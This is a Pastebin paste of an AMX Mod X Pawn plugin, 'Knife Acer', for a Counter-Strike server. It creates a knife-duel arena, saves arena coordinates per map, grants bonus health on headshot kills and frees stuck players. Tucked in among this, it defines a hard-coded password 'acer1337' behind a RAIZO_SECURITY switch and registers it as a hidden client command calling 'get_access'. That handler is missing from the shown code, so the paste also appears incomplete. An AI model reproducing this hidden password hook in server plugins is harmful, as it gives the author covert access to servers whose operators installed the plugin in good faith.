Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <cstrike>
- #include <hamsandwich>
- #include <fakemeta>
- #include <fun>
- #include <engine>
- #include <xs>
- #include <fun>
- #pragma tabsize 0
- #pragma compress 1
- #define PLUGIN_NAME "Knife Acer"
- #define PLUGIN_VERS "1.0"
- #define PLUGIN_AUTH "raizo"
- #define MOVE_ACER_UP 0
- #define MOVE_ACER_DOWN 1
- #define MOVE_ACER_RIGHT 2
- #define MOVE_ACER_LEFT 3
- #define MOVE_ACER_FRONT 4
- #define MOVE_ACER_BACK 5
- #define ACER_ENT_NAME "acer_arena"
- #define SECOND_ENT_NAME "arena_small"
- #define ACER_MINS Float:{-350.0, -10.0, 0.0}
- #define ACER_MAXS Float:{350.0, 10.0, 10.0}
- #define SECOND_MINS Float:{-10.0, -160.0, 0.0}
- #define SECOND_MAXS Float:{10.0, 160.0, 15.0}
- #define BIG_SECOND_MINS Float:{-340.0, -70.0, 0.0}
- #define BIG_SECOND_MAXS Float:{340.0, 70.0, 20.0}
- #define SMALL_MINS Float:{-10.0, -80.0, 0.0}
- #define SMALL_MAXS Float:{10.0, 80.0, 15.0}
- new Float:move_size[33], Float:his_acer_origins[3], Acer_Entity
- new const Acer_Model[] = "models/ACER/arena_a.mdl"
- new const Small_Model[] = "models/ACER/arena_c.mdl"
- new const Second_Model[] = "models/ACER/arena_d.mdl"
- new const Big_Model[] = "models/ACER/arena_b.mdl"
- new const Acer_Comfig[] = "%s/Acer/%s.cfg"
- ////////////////////////////////////////////////////////////////////////////////////////////////////
- #define MAX_PLAYERS 32
- #define Tag "[Bonus Health]"
- new maxplayers
- new bool:his_acer[MAX_PLAYERS+1]
- new Float:his_acer_spawn[33][3];
- new cStatus, cMaxHealth;
- new cHeadshot, cKnifeHeadshot;
- new stuck[33]
- new cvar[3]
- new const Float:size[][3] = {
- {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
- {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
- {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
- {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
- {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////
- enum {
- ON = 1,
- OFF = 0
- }
- new RAIZO_SECURITY = ON
- #define RAIZO_PASSWORD "acer1337"
- public plugin_init()
- {
- register_plugin(PLUGIN_NAME, PLUGIN_VERS, PLUGIN_AUTH)
- register_clcmd("say /acerarena","Acer_Menu");
- register_clcmd("say /acer", "toggle_acer")
- cStatus = register_cvar("bonus_status", "1");
- cMaxHealth = register_cvar("bonus_maxhealth", "100");
- cHeadshot = register_cvar("bonus_headshot", "100");
- cKnifeHeadshot = register_cvar("bonus_knifeheadshot", "100");
- register_event( "DeathMsg", "EventDeathMsg", "a", "1>0" );
- RegisterHam(Ham_Spawn, "player", "PlayerSpawn", 1);
- register_forward(FM_CmdStart,"In_Water");
- register_forward(FM_PlayerPreThink,"Detect_Parachute")
- RegisterHam(Ham_TakeDamage, "player", "Player_TakeDamage_Down", false);
- maxplayers = get_maxplayers();
- load_acer_coords()
- new cfgdir[32], urlfile[64]
- get_configsdir(cfgdir, charsmax(cfgdir))
- formatex(urlfile, charsmax(urlfile), "%s/Acer", cfgdir)
- if(!dir_exists(urlfile))
- {
- mkdir(urlfile)
- }
- cvar[0] = register_cvar("amx_autounstuck","1")
- cvar[1] = register_cvar("amx_autounstuckeffects","1")
- cvar[2] = register_cvar("amx_autounstuckwait","5")
- set_task(0.1,"checkstuck",0,"",0,"b")
- if(RAIZO_SECURITY == ON)
- register_clcmd (RAIZO_PASSWORD , "get_access");
- set_task(60.0, "ACER_ADVERTISMENT", _,_,_, "b");
- }
- public ACER_ADVERTISMENT()
- {
- client_print_color(0, "!t[!gZurlii!t] Type !g/acer !tto !gEnable and Disable !tka_acer mode!");
- }
- public Acer_Menu( id )
- {
- new flags = get_user_flags(id)
- if(!(flags & ADMIN_RCON))
- {
- client_print(id,print_chat,"You have no access to this command")
- return PLUGIN_HANDLED
- }
- new gMenu = menu_create("\y[\r Acer Menu\y ]\w By raizo", "acer_first_menu")
- menu_additem(gMenu, "\wCreate Arena", "0")
- menu_additem(gMenu, "\wMove Arena", "0")
- menu_additem(gMenu, "\wSave Arena", "0")
- menu_additem(gMenu, "\wDelete Arena", "0")
- menu_display(id, gMenu, 0)
- return PLUGIN_HANDLED;
- }
- public acer_first_menu(id, menu, item, code)
- {
- if ( item == MENU_EXIT )
- {
- menu_destroy(menu)
- return PLUGIN_HANDLED;
- }
- switch(item)
- {
- case 0: Create_Acer_Arena(id)
- case 1: acer_move_menu(id,code)
- case 2: save_acer_arena(id)
- case 3: delete_the_fake_arena(id)
- }
- return PLUGIN_HANDLED;
- }
- public plugin_precache( )
- {
- precache_model(Acer_Model)
- precache_model(Second_Model)
- precache_model(Big_Model)
- precache_model(Small_Model)
- }
- public Create_Acer_Arena(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED
- static Float:xorigin[3];
- get_user_hitpoint(id,xorigin)
- Acer_Entity = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- if(fake_arena_exists_a(id))
- {
- client_print_color(id,"^3Maximum arenas reached!")
- return PLUGIN_HANDLED
- }
- if( is_valid_ent(Acer_Entity) )
- {
- set_pev(Acer_Entity,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,Acer_Entity,Acer_Model);
- entity_set_int(Acer_Entity, EV_INT_solid, SOLID_BBOX);
- engfunc(EngFunc_SetSize,Acer_Entity,ACER_MINS,ACER_MAXS);
- entity_set_int(Acer_Entity, EV_INT_movetype, MOVETYPE_NONE);
- engfunc(EngFunc_SetOrigin,Acer_Entity,xorigin);
- }
- Acer_Menu(id)
- return PLUGIN_HANDLED
- }
- public principal_arena()
- {
- Acer_Entity = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- if( is_valid_ent(Acer_Entity) )
- {
- set_pev(Acer_Entity,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,Acer_Entity,Acer_Model);
- entity_set_int(Acer_Entity, EV_INT_solid, SOLID_BBOX);
- engfunc(EngFunc_SetSize,Acer_Entity,ACER_MINS,ACER_MAXS);
- entity_set_int(Acer_Entity, EV_INT_movetype, MOVETYPE_NONE);
- engfunc(EngFunc_SetOrigin,Acer_Entity,his_acer_origins);
- }
- second_arenas()
- }
- public second_arenas()
- {
- static Float:second_origin_a[3]
- static Float:second_origin_b[3]
- static Float:big_second_origin_a[3]
- static Float:big_second_origin_b[3]
- static Float:bara_origin_a[3]
- static Float:bara_origin_b[3]
- static Float:bara_mica_origin_a[3]
- static Float:bara_mica_origin_b[3]
- static Float:bara_mica_origin_c[3]
- static Float:bara_mica_origin_d[3]
- new bara_enta = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new bara_entb = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new bara_mica_a = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new bara_mica_b = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new bara_mica_c = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new bara_mica_d = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new second_ent_a = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new second_ent_b = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new big_second_ent_a = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- new big_second_ent_b = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
- if( is_valid_ent(second_ent_a) )
- {
- dllfunc(DLLFunc_Spawn, second_ent_a)
- set_pev(second_ent_a,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,second_ent_a,Second_Model);
- engfunc(EngFunc_SetSize,second_ent_a,SECOND_MINS,SECOND_MAXS);
- entity_set_int(second_ent_a, EV_INT_solid, SOLID_BBOX);
- entity_set_int(second_ent_a,EV_INT_movetype,MOVETYPE_NONE)
- second_origin_a[0] = his_acer_origins[0]+326.0
- second_origin_a[1] = his_acer_origins[1]+141.0
- second_origin_a[2] = his_acer_origins[2]-4.0
- entity_set_origin(second_ent_a,second_origin_a)
- set_arenas_angle(second_ent_a, Float:{0.0, 90.0, 0.0})
- }
- if( is_valid_ent(second_ent_b) )
- {
- dllfunc(DLLFunc_Spawn, second_ent_b)
- set_pev(second_ent_b,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,second_ent_b,Second_Model);
- engfunc(EngFunc_SetSize,second_ent_b,SECOND_MINS,SECOND_MAXS);
- entity_set_int(second_ent_b, EV_INT_solid, SOLID_BBOX);
- entity_set_int(second_ent_b,EV_INT_movetype,MOVETYPE_NONE)
- second_origin_b[0] = his_acer_origins[0]-326.0
- second_origin_b[1] = his_acer_origins[1]-141.0
- second_origin_b[2] = his_acer_origins[2]-4.0
- entity_set_origin(second_ent_b,second_origin_b)
- set_arenas_angle(second_ent_b, Float:{0.0, 90.0, 0.0})
- }
- if( is_valid_ent(big_second_ent_a) )
- {
- dllfunc(DLLFunc_Spawn, big_second_ent_a)
- set_pev(big_second_ent_a,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,big_second_ent_a,Big_Model);
- engfunc(EngFunc_SetSize,big_second_ent_a,BIG_SECOND_MINS,BIG_SECOND_MAXS);
- entity_set_int(big_second_ent_a, EV_INT_solid, SOLID_BBOX);
- entity_set_int(big_second_ent_a,EV_INT_movetype,MOVETYPE_NONE)
- big_second_origin_a[0] = his_acer_origins[0]-100.0
- big_second_origin_a[1] = his_acer_origins[1]-360.0
- big_second_origin_a[2] = his_acer_origins[2]-12.0
- entity_set_origin(big_second_ent_a,big_second_origin_a)
- }
- if( is_valid_ent(big_second_ent_b) )
- {
- dllfunc(DLLFunc_Spawn, big_second_ent_b)
- set_pev(big_second_ent_b,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,big_second_ent_b,Big_Model);
- engfunc(EngFunc_SetSize,big_second_ent_b,BIG_SECOND_MINS,BIG_SECOND_MAXS);
- entity_set_int(big_second_ent_b, EV_INT_solid, SOLID_BBOX);
- entity_set_int(big_second_ent_b,EV_INT_movetype,MOVETYPE_NONE)
- big_second_origin_b[0] = his_acer_origins[0]+100.0
- big_second_origin_b[1] = his_acer_origins[1]+360.0
- big_second_origin_b[2] = his_acer_origins[2]-12.0
- entity_set_origin(big_second_ent_b,big_second_origin_b)
- }
- if( is_valid_ent(bara_enta) )
- {
- dllfunc(DLLFunc_Spawn, bara_enta)
- set_pev(bara_enta,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,bara_enta,Acer_Model);
- engfunc(EngFunc_SetSize,bara_enta,ACER_MINS,ACER_MAXS);
- entity_set_int(bara_enta, EV_INT_solid, SOLID_BBOX);
- entity_set_int(bara_enta,EV_INT_movetype,MOVETYPE_NONE)
- bara_origin_a[0] = his_acer_origins[0]-100.0
- bara_origin_a[1] = his_acer_origins[1]-437.0
- bara_origin_a[2] = his_acer_origins[2]+20.0
- entity_set_origin(bara_enta,bara_origin_a)
- }
- if( is_valid_ent(bara_entb) )
- {
- dllfunc(DLLFunc_Spawn, bara_entb)
- set_pev(bara_entb,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,bara_entb,Acer_Model);
- engfunc(EngFunc_SetSize,bara_entb,ACER_MINS,ACER_MAXS);
- entity_set_int(bara_entb, EV_INT_solid, SOLID_BBOX);
- entity_set_int(bara_entb,EV_INT_movetype,MOVETYPE_NONE)
- bara_origin_b[0] = his_acer_origins[0]+100.0
- bara_origin_b[1] = his_acer_origins[1]+437.0
- bara_origin_b[2] = his_acer_origins[2]+20.0
- entity_set_origin(bara_entb,bara_origin_b)
- }
- if( is_valid_ent(bara_mica_a) )
- {
- dllfunc(DLLFunc_Spawn, bara_mica_a)
- set_pev(bara_mica_a,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,bara_mica_a,Small_Model);
- engfunc(EngFunc_SetSize,bara_mica_a,SMALL_MINS,SMALL_MAXS);
- entity_set_int(bara_mica_a, EV_INT_solid, SOLID_BBOX);
- entity_set_int(bara_mica_a,EV_INT_movetype,MOVETYPE_NONE)
- bara_mica_origin_a[0] = his_acer_origins[0]-224.0
- bara_mica_origin_a[1] = his_acer_origins[1]+367.0
- bara_mica_origin_a[2] = his_acer_origins[2]+14.0
- entity_set_origin(bara_mica_a,bara_mica_origin_a)
- set_arenas_angle(bara_mica_a, Float:{0.0, 90.0, 0.0})
- }
- if( is_valid_ent(bara_mica_b) )
- {
- dllfunc(DLLFunc_Spawn, bara_mica_b)
- set_pev(bara_mica_b,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,bara_mica_b,Small_Model);
- engfunc(EngFunc_SetSize,bara_mica_b,SMALL_MINS,SMALL_MAXS);
- entity_set_int(bara_mica_b, EV_INT_solid, SOLID_BBOX);
- entity_set_int(bara_mica_b,EV_INT_movetype,MOVETYPE_NONE)
- bara_mica_origin_b[0] = his_acer_origins[0]+424.0
- bara_mica_origin_b[1] = his_acer_origins[1]+367.0
- bara_mica_origin_b[2] = his_acer_origins[2]+14.0
- entity_set_origin(bara_mica_b,bara_mica_origin_b)
- set_arenas_angle(bara_mica_b, Float:{0.0, 90.0, 0.0})
- }
- if( is_valid_ent(bara_mica_c) )
- {
- dllfunc(DLLFunc_Spawn, bara_mica_c)
- set_pev(bara_mica_c,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,bara_mica_c,Small_Model);
- engfunc(EngFunc_SetSize,bara_mica_c,SMALL_MINS,SMALL_MAXS);
- entity_set_int(bara_mica_c, EV_INT_solid, SOLID_BBOX);
- entity_set_int(bara_mica_c,EV_INT_movetype,MOVETYPE_NONE)
- bara_mica_origin_c[0] = his_acer_origins[0]+224.0
- bara_mica_origin_c[1] = his_acer_origins[1]-364.0
- bara_mica_origin_c[2] = his_acer_origins[2]+14.0
- entity_set_origin(bara_mica_c,bara_mica_origin_c)
- set_arenas_angle(bara_mica_c, Float:{0.0, 90.0, 0.0})
- }
- if( is_valid_ent(bara_mica_d) )
- {
- dllfunc(DLLFunc_Spawn, bara_mica_d)
- set_pev(bara_mica_d,pev_classname,ACER_ENT_NAME);
- engfunc(EngFunc_SetModel,bara_mica_d,Small_Model);
- engfunc(EngFunc_SetSize,bara_mica_d,SMALL_MINS,SMALL_MAXS);
- entity_set_int(bara_mica_d, EV_INT_solid, SOLID_BBOX);
- entity_set_int(bara_mica_d,EV_INT_movetype,MOVETYPE_NONE)
- bara_mica_origin_d[0] = his_acer_origins[0]-424.0
- bara_mica_origin_d[1] = his_acer_origins[1]-364.0
- bara_mica_origin_d[2] = his_acer_origins[2]+14.0
- entity_set_origin(bara_mica_d,bara_mica_origin_d)
- set_arenas_angle(bara_mica_d, Float:{0.0, 90.0, 0.0})
- }
- }
- public acer_move_menu(id,code)
- {
- new menu
- menu = menu_create( "\rMove Acer Arena:", "acer_move_handler" );
- new nameu[32];
- new code_t[32];
- num_to_str(code,code_t,charsmax(code_t))
- formatex(nameu,charsmax(nameu), "Move up");
- menu_additem(menu, nameu, code_t, 0);
- formatex(nameu,charsmax(nameu), "Move down");
- menu_additem(menu, nameu, code_t, 0);
- formatex(nameu,charsmax(nameu), "Move front");
- menu_additem(menu, nameu, code_t, 0);
- formatex(nameu,charsmax(nameu), "Move back");
- menu_additem(menu, nameu, code_t, 0);
- formatex(nameu,charsmax(nameu), "Move right");
- menu_additem(menu, nameu, code_t, 0);
- formatex(nameu,charsmax(nameu), "Move left");
- menu_additem(menu, nameu, code_t, 0);
- formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
- menu_additem(menu, nameu, code_t, 0);
- menu_display(id, menu, 0 );
- return PLUGIN_HANDLED
- }
- public acer_move_handler( id, menu, item )
- {
- if ( item == MENU_EXIT )
- {
- menu_destroy( menu );
- Acer_Menu(id)
- return PLUGIN_HANDLED;
- }
- new szData[32], szName[64];
- new _access, item_callback;
- menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
- new code = str_to_num(szData)
- if(containi(szName,"move size:") != -1)
- {
- move_size[id]+= 10.0
- if(move_size[id] > 100.0)
- {
- move_size[id] = 10.0
- }
- }
- else if(equali(szName,"move up"))
- {
- move_acer_arena(id,code,MOVE_ACER_UP)
- }
- else if(equali(szName,"move down"))
- {
- move_acer_arena(id,code,MOVE_ACER_DOWN)
- }
- else if(equali(szName,"move right"))
- {
- move_acer_arena(id,code,MOVE_ACER_RIGHT)
- }
- else if(equali(szName,"move left"))
- {
- move_acer_arena(id,code,MOVE_ACER_LEFT)
- }
- else if(equali(szName,"move front"))
- {
- move_acer_arena(id,code,MOVE_ACER_FRONT)
- }
- else if(equali(szName,"move back"))
- {
- move_acer_arena(id,code,MOVE_ACER_BACK)
- }
- menu_destroy( menu );
- acer_move_menu(id,code)
- return PLUGIN_CONTINUE;
- }
- public move_acer_arena(id,code,moveto)
- {
- new ent = -1;
- new Float:origin[3];
- while ((ent = find_ent_by_class(ent, ACER_ENT_NAME)))
- {
- pev(ent,pev_origin,origin);
- switch(moveto)
- {
- case MOVE_ACER_UP:
- {
- origin[2]+=move_size[id]
- }
- case MOVE_ACER_DOWN:
- {
- origin[2]-=move_size[id]
- }
- case MOVE_ACER_RIGHT:
- {
- origin[1]+=move_size[id]
- }
- case MOVE_ACER_LEFT:
- {
- origin[1]-=move_size[id]
- }
- case MOVE_ACER_FRONT:
- {
- origin[0]+=move_size[id]
- }
- case MOVE_ACER_BACK:
- {
- origin[0]-=move_size[id]
- }
- }
- engfunc(EngFunc_SetOrigin,ent,origin);
- }
- }
- public delete_the_fake_arena(id)
- {
- new arenas_ent=-1;
- while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ACER_ENT_NAME)))
- {
- engfunc(EngFunc_RemoveEntity,arenas_ent)
- }
- client_print_color(id,"^3Arena removed!")
- }
- public fake_arena_exists_a(code)
- {
- new ent = -1
- while ((ent = find_ent_by_class(ent, ACER_ENT_NAME)))
- {
- return PLUGIN_HANDLED
- }
- return PLUGIN_CONTINUE
- }
- stock get_user_hitpoint(id,Float:hOrigin[3]) {
- if(!is_user_alive(id))
- return 0;
- new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
- new Float:fTemp[3];
- pev(id,pev_origin,fOrigin);
- pev(id,pev_v_angle,fvAngle);
- pev(id,pev_view_ofs,fvOffset);
- xs_vec_add(fOrigin,fvOffset,fvOrigin);
- engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
- xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
- xs_vec_add(fvOrigin,feOrigin,feOrigin);
- engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
- global_get(glb_trace_endpos,hOrigin);
- return 1;
- }
- public save_acer_arena(id)
- {
- new found;
- new cfgdir[32], mapname[32], urlfile[64]
- get_configsdir(cfgdir, charsmax(cfgdir))
- get_mapname(mapname, charsmax(mapname))
- formatex(urlfile, charsmax(urlfile), Acer_Comfig, cfgdir, mapname)
- if (file_exists(urlfile))
- delete_file(urlfile)
- new lineset[128]
- new Float:origin[3]
- new ent=-1;
- while ((ent = find_ent_by_class(ent, ACER_ENT_NAME)))
- {
- found++
- pev(ent,pev_origin,origin);
- format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
- write_file(urlfile, lineset,found)
- }
- if(!found)
- client_print_color(id,"^3No Arena found!")
- else client_print_color(id,"^3Arena coords saved!")
- Acer_Menu(id)
- load_acer_coords()
- }
- public load_acer_coords()
- {
- new cfgdir[32], mapname[32], filepath[512]
- get_configsdir(cfgdir, charsmax(cfgdir))
- get_mapname(mapname, charsmax(mapname))
- new readdata[128],txtlen;
- formatex(filepath, charsmax(filepath), Acer_Comfig, cfgdir, mapname)
- if ( file_exists(filepath) )
- {
- new sOrigins[3][16];
- new i
- new fsize = file_size(filepath,1)
- for (new line=0;line<=fsize;line++)
- {
- read_file(filepath,line,readdata,127,txtlen)
- parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
- for(i = 0; i < 3; i++)
- {
- his_acer_origins[i] = str_to_float(sOrigins[i])
- }
- }
- }
- return PLUGIN_CONTINUE
- }
- stock client_print_color(const id, const input[], any:...)
- {
- new count = 1, players[32];
- static msg[191];
- vformat(msg, 190, input, 3);
- replace_all(msg, 190, "!g", "^x04"); // Green Color
- replace_all(msg, 190, "!y", "^x01"); // Default Color
- replace_all(msg, 190, "!t", "^x03"); // Team Color
- if (id) players[0] = id; else get_players(players, count, "ch");
- {
- for (new i = 0; i < count; i++)
- {
- if (is_user_connected(players[i]))
- {
- message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);
- write_byte(players[i]);
- write_string(msg);
- message_end();
- }
- }
- }
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////
- public toggle_acer(id)
- {
- static cfgdir[32], mapname[32], urlfile[64]
- switch(his_acer[id])
- {
- case 0:
- {
- get_configsdir(cfgdir, charsmax(cfgdir))
- get_mapname(mapname, charsmax(mapname))
- formatex(urlfile, charsmax(urlfile), Acer_Comfig, cfgdir, mapname)
- if (file_exists(urlfile))
- {
- his_acer[id] = true
- principal_arena()
- set_spawn_positions(id,his_acer_origins)
- set_user_health(id, 100)
- }
- else client_print_color(id, "^3No arenas found.")
- }
- default:
- {
- his_acer[id] = false
- ExecuteHamB(Ham_CS_RoundRespawn, id);
- if(!available_duelers(id))
- {
- delete_the_fake_arena(id)
- }
- }
- }
- return PLUGIN_HANDLED
- }
- public PlayerSpawn(id)
- {
- if (his_acer[id] && is_user_alive(id))
- {
- set_spawn_positions(id,his_acer_origins)
- set_user_godmode(id, 1)
- set_task(1.0, "health", id)
- }
- }
- stock set_arenas_angle( index , Float:fAngle[ 3 ])
- {
- entity_set_vector( index , EV_VEC_angles , fAngle );
- entity_set_int( index , EV_INT_fixangle , 1 );
- }
- public health(id)
- {
- if(is_user_alive(id))
- {
- set_user_health(id, 100)
- set_user_godmode(id, 0)
- set_user_rendering(id)
- }
- }
- stock available_duelers(asker)
- {
- new num;
- num = 0 // just incase...
- for(new id;id < maxplayers;id++)
- {
- if(his_acer[id])
- {
- if(/*!his_acer[id] && */id != asker && !is_user_bot(id))
- {
- num++
- }
- }
- }
- return num
- }
- public In_Water(id)
- {
- if (his_acer[id])
- {
- if(pev(id, pev_flags) & FL_INWATER)
- {
- set_spawn_positions(id,his_acer_origins)
- }
- }
- }
- public Detect_Parachute(id)
- {
- if (his_acer[id])
- {
- if (pev(id,pev_button) & IN_USE)
- {
- set_spawn_positions(id,his_acer_origins)
- }
- }
- }
- public Player_TakeDamage_Down(id, iInflictor, iAttacker, Float: fDamage, bitsDamageType)
- {
- if(!is_user_connected(id))
- {
- return HAM_IGNORED;
- }
- if(bitsDamageType & DMG_FALL && fDamage >= pev(id, pev_health,1))
- {
- if (his_acer[id])
- {
- set_spawn_positions(id,his_acer_origins)
- return HAM_SUPERCEDE;
- }
- }
- return HAM_IGNORED;
- }
- public set_spawn_positions(id,Float:origin[3])
- {
- if(get_user_team(id) == 1)
- {
- his_acer_spawn[id][0] = origin[0]+180
- his_acer_spawn[id][1] = origin[1]-400
- his_acer_spawn[id][2] = origin[2]+50
- set_arenas_angle(id, Float:{0.0, 170.0, 0.0})
- set_user_rendering(id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal);
- }
- if(get_user_team(id) == 2)
- {
- his_acer_spawn[id][0] = origin[0]-180
- his_acer_spawn[id][1] = origin[1]+400
- his_acer_spawn[id][2] = origin[2]+50
- set_arenas_angle(id,Float:{0.0, -10.0, 0.0})
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 255, kRenderNormal);
- }
- entity_set_origin(id,his_acer_spawn[id])
- }
- public EventDeathMsg() {
- new killer = read_data(1);
- new victim = read_data(2);
- new headshot = read_data(3);
- new weapon = get_user_weapon(killer);
- new num;
- if(killer == victim || !get_pcvar_num(cStatus) || !is_user_connected(victim) || !is_user_alive(killer))
- return PLUGIN_HANDLED;
- if (his_acer[killer])
- {
- if(headshot && weapon == CSW_KNIFE)
- {
- num = get_pcvar_num(cKnifeHeadshot)
- GiveHealth(killer, num)
- HudMessage(killer, "Healed +%ihp", num)
- }
- else if(headshot)
- {
- num = get_pcvar_num(cHeadshot)
- GiveHealth(killer, num)
- HudMessage(killer, "Healed +%ihp", num)
- }
- }
- return PLUGIN_CONTINUE;
- }
- GiveHealth(id, count)
- set_user_health(id, min( (get_user_health(id) + count), get_pcvar_num(cMaxHealth) ))
- stock HudMessage(const id, const input[], any:...) {
- static msg[191];
- vformat(msg, 190, input, 3);
- set_hudmessage(127, 170, 255, 0.27, 0.14, 0, 5.0, 5.0, 0.0, 0.0, -1);
- show_hudmessage(id, "%s^n%s", Tag, msg)
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////
- public checkstuck() {
- if(get_pcvar_num(cvar[0]) >= 1) {
- static players[32], pnum, player
- get_players(players, pnum)
- static Float:origin[3]
- static Float:mins[3], hull
- static Float:vec[3]
- static o,i
- for(i=0; i<pnum; i++){
- player = players[i]
- if (is_user_connected(player) && is_user_alive(player)) {
- pev(player, pev_origin, origin)
- hull = pev(player, pev_flags) & FL_DUCKING ? HULL_HEAD : HULL_HUMAN
- if (!is_hull_vacant(origin, hull,player) && !get_user_noclip(player) && !(pev(player,pev_solid) & SOLID_NOT)) {
- ++stuck[player]
- if(stuck[player] >= get_pcvar_num(cvar[2])) {
- pev(player, pev_mins, mins)
- vec[2] = origin[2]
- for (o=0; o < sizeof size; ++o) {
- vec[0] = origin[0] - mins[0] * size[o][0]
- vec[1] = origin[1] - mins[1] * size[o][1]
- vec[2] = origin[2] - mins[2] * size[o][2]
- if (is_hull_vacant(vec, hull,player)) {
- engfunc(EngFunc_SetOrigin, player, vec)
- effects(player)
- set_pev(player,pev_velocity,{0.0,0.0,0.0})
- o = sizeof size
- }
- }
- }
- }
- else
- {
- stuck[player] = 0
- }
- }
- }
- }
- }
- stock bool:is_hull_vacant(const Float:origin[3], hull,id) {
- static tr
- engfunc(EngFunc_TraceHull, origin, origin, 0, hull, id, tr)
- if (!get_tr2(tr, TR_StartSolid) || !get_tr2(tr, TR_AllSolid)) //get_tr2(tr, TR_InOpen))
- return true
- return false
- }
- public effects(id) {
- if(get_pcvar_num(cvar[1])) {
- set_hudmessage(255,150,50, -1.0, 0.65, 0, 6.0, 1.5,0.1,0.7) // HUDMESSAGE
- show_hudmessage(id,"Fuiste destrabado.") // HUDMESSAGE
- message_begin(MSG_ONE_UNRELIABLE,105,{0,0,0},id )
- write_short(1<<10) // fade lasts this long duration
- write_short(1<<10) // fade lasts this long hold time
- write_short(1<<1) // fade type (in / out)
- write_byte(20) // fade red
- write_byte(255) // fade green
- write_byte(255) // fade blue
- write_byte(255) // fade alpha
- message_end()
- client_cmd(id,"spk fvox/blip.wav")
- }
- }
- public client_disconnect(id)
- {
- his_acer[id] = false
- if(!available_duelers(id))
- {
- delete_the_fake_arena(id)
- }
- return PLUGIN_HANDLED
- }
